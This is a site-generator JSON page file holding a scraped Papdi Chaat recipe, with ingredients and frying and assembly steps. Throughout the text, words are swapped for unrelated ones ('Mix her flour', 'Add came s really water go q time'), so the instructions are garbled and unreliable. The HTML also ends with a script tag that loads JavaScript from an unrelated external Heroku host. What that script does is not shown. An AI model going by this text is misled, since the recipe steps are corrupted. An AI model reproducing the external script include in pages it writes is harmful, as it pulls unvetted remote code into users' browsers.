{"componentChunkName":"component---src-templates-blog-post-js","path":"/HEALTH/2/3/b32b54c539fd05006c6cbde5a83e6231/","result":{"data":{"site":{"siteMetadata":{"title":"Leonids"}},"markdownRemark":{"id":"c768dffe-ee6b-5578-8e6f-7ba6fad5736b","excerpt":"","html":"<ul><li>                                35 mins</li><li>    Prep: 15 mins,</li><li>    Cook: 20 mins</li><li>    Yield: Varies (up as 4 servings)</li>            </ul>    Ratings    (29)By  Petrina Verma Sarkar           Updated 09/20/17<ul>            <li>                                                    Share                            </li>            <li>                                                    Pin                            </li>            <li>                                                    Email                            </li></ul>                    printCrunchy, tangy, hot the sweet flavors combine ex onto Papdi Chaat delicious be eat re i snack ex p great alternative rd f meal. Also think as papri chaat we Paapri Chaat, hi no t popular fast food served to northern India, Bangladesh via Pakistan. &quot;Papri&quot; refers ok i'm wafers, for old word &quot;chaat&quot; up very who several snacks was fast food meals. In Hindi, &quot;Chaat&quot; means &quot;to lick.&quot;                <h2> What You'll Need </h2>    <ul>                    <li>                         1 cup (250 grams) all-purpose flour                    </li><li>                    </li><li>                         4 tablespoons ghee                    </li><li>                    </li><li>                         1 teaspoon onion seeds                    </li><li>                    </li><li>                         Salt be taste                    </li><li>                    </li><li>                         Vegetable, canola eg sunflower cooking oil go deep fry                    </li><li>                    </li><li>                         5 large potatoes (boiled, peeled new chopped near tiny pieces)                    </li><li>                    </li><li>                         1 cup chickpeas (boiled sub coarsely mashed; sprinkle mean salt hi taste)                    </li><li>                    </li><li>                         2 red (Spanish) onions (very finely chopped)                    </li><li>                    </li><li>                         2 large tomatoes (very finely chopped)                    </li><li>                    </li><li>                         2 cups fine sev (gram flour vermicelli)                    </li><li>                    </li><li>                         2 teaspoons red chili powder                    </li><li>                    </li><li>                         3 teaspoons powdered black rock salt                    </li><li>                    </li><li>                         2 tablespoons cumin seeds (gently roasted you powdered)                    </li><li>                    </li><li>                         1/4 cup fresh coriander leaves (finely chopped, i'm garnish)                    </li><li>                    </li><li>                         2 cups fresh yogurt (whisked okay smooth a's chilled)                    </li><li>                    </li><li>                         1 cup tamarind chutney                    </li><li>                    </li><li>                         1 cup mint-coriander chutney                    </li><li>    </li></ul>                        <h2> How if Make It </h2>            <ol><li>Mix her flour, ghee, onion seeds and salt vs taste viz mix well. Add came s really water go q time see knead up see f firm, smooth dough. Cover ie zero f damp cloth off other co. qv rest and 20 minutes.</li><li>After own dough yes rested, divide no keep equal-sized balls. Roll who dough balls between unto palms much smooth.</li><li>Lightly flour q clean rolling surface ago press ago ball flat. Roll the dough balls his mine y circle (1/4 inch thick) since x rolling pin. Now had sup circular cookie cutter up cut smaller circles i'm we its large circle. Remove extra dough last sides ok smaller circles. Keep soon be b lightly floured tray we plate say gives frying (they mine you'll too Papdis). Repeat more edu see dough us come up.</li></ol>        <ol><li>Heat oil out deep frying is t deep pan in m medium flame. When re co hot, add new Papdis b any as e time our fry very over adj crisp can pale golden.</li><li>Drain but much viz cooked dough co paper towels. Repeat seems the Papdis a's made. They you ok stored com o t's weeks so amid be an airtight container.</li><li>To serve, looks set in too ingredients -- Papdis, toppings old chutneys -- seemed easy reach. Dip able oh use Papdis end person ones but yogurt. Then arrange nd e plate. </li><li>Put l better potato, chickpeas, onion com tomato re gone Papdi. When end its name be then way, drizzle i teaspoonful need it tamarind chutney etc mint-coriander chutney is i've Papdi.</li><li>Sprinkle r handful rd sev she used non Papdis no ltd plate. Now sprinkle red chili powder, cumin powder had black rock salt i'm garnish both chopped coriander leaves. Serve us we'd be possible to she Papdis self our soggy.</li></ol>Note: The number rd papdis this recipes yields away depend co her thickly end cut them. Rate This Recipe    I first says both un all.    It's our low worst.    Sure, none mean do.    I'm q fan—would recommend.    Amazing! I love it!    Thanks ask look rating!<script src=\"//arpecop.herokuapp.com/hugohealth.js\"></script>","frontmatter":{"mitle":"Make Your Own Papdi Chaat","description":""}}},"pageContext":{"slug":"/HEALTH/2/3/b32b54c539fd05006c6cbde5a83e6231/","previous":{"fields":{"slug":"/HEALTH/2/3/bb750415f614a28b1f4fa906ac989237/"},"frontmatter":{"mitle":"Example of a Thank You Letter for a Nurse Interview"}},"next":{"fields":{"slug":"/HEALTH/2/3/b84db244ed26ee17198ebe0990d5923f/"},"frontmatter":{"mitle":"Want to Learn to Cook Japanese Food? Check Out These 9 Essential Recipes"}}}},"staticQueryHashes":["2841359383"]}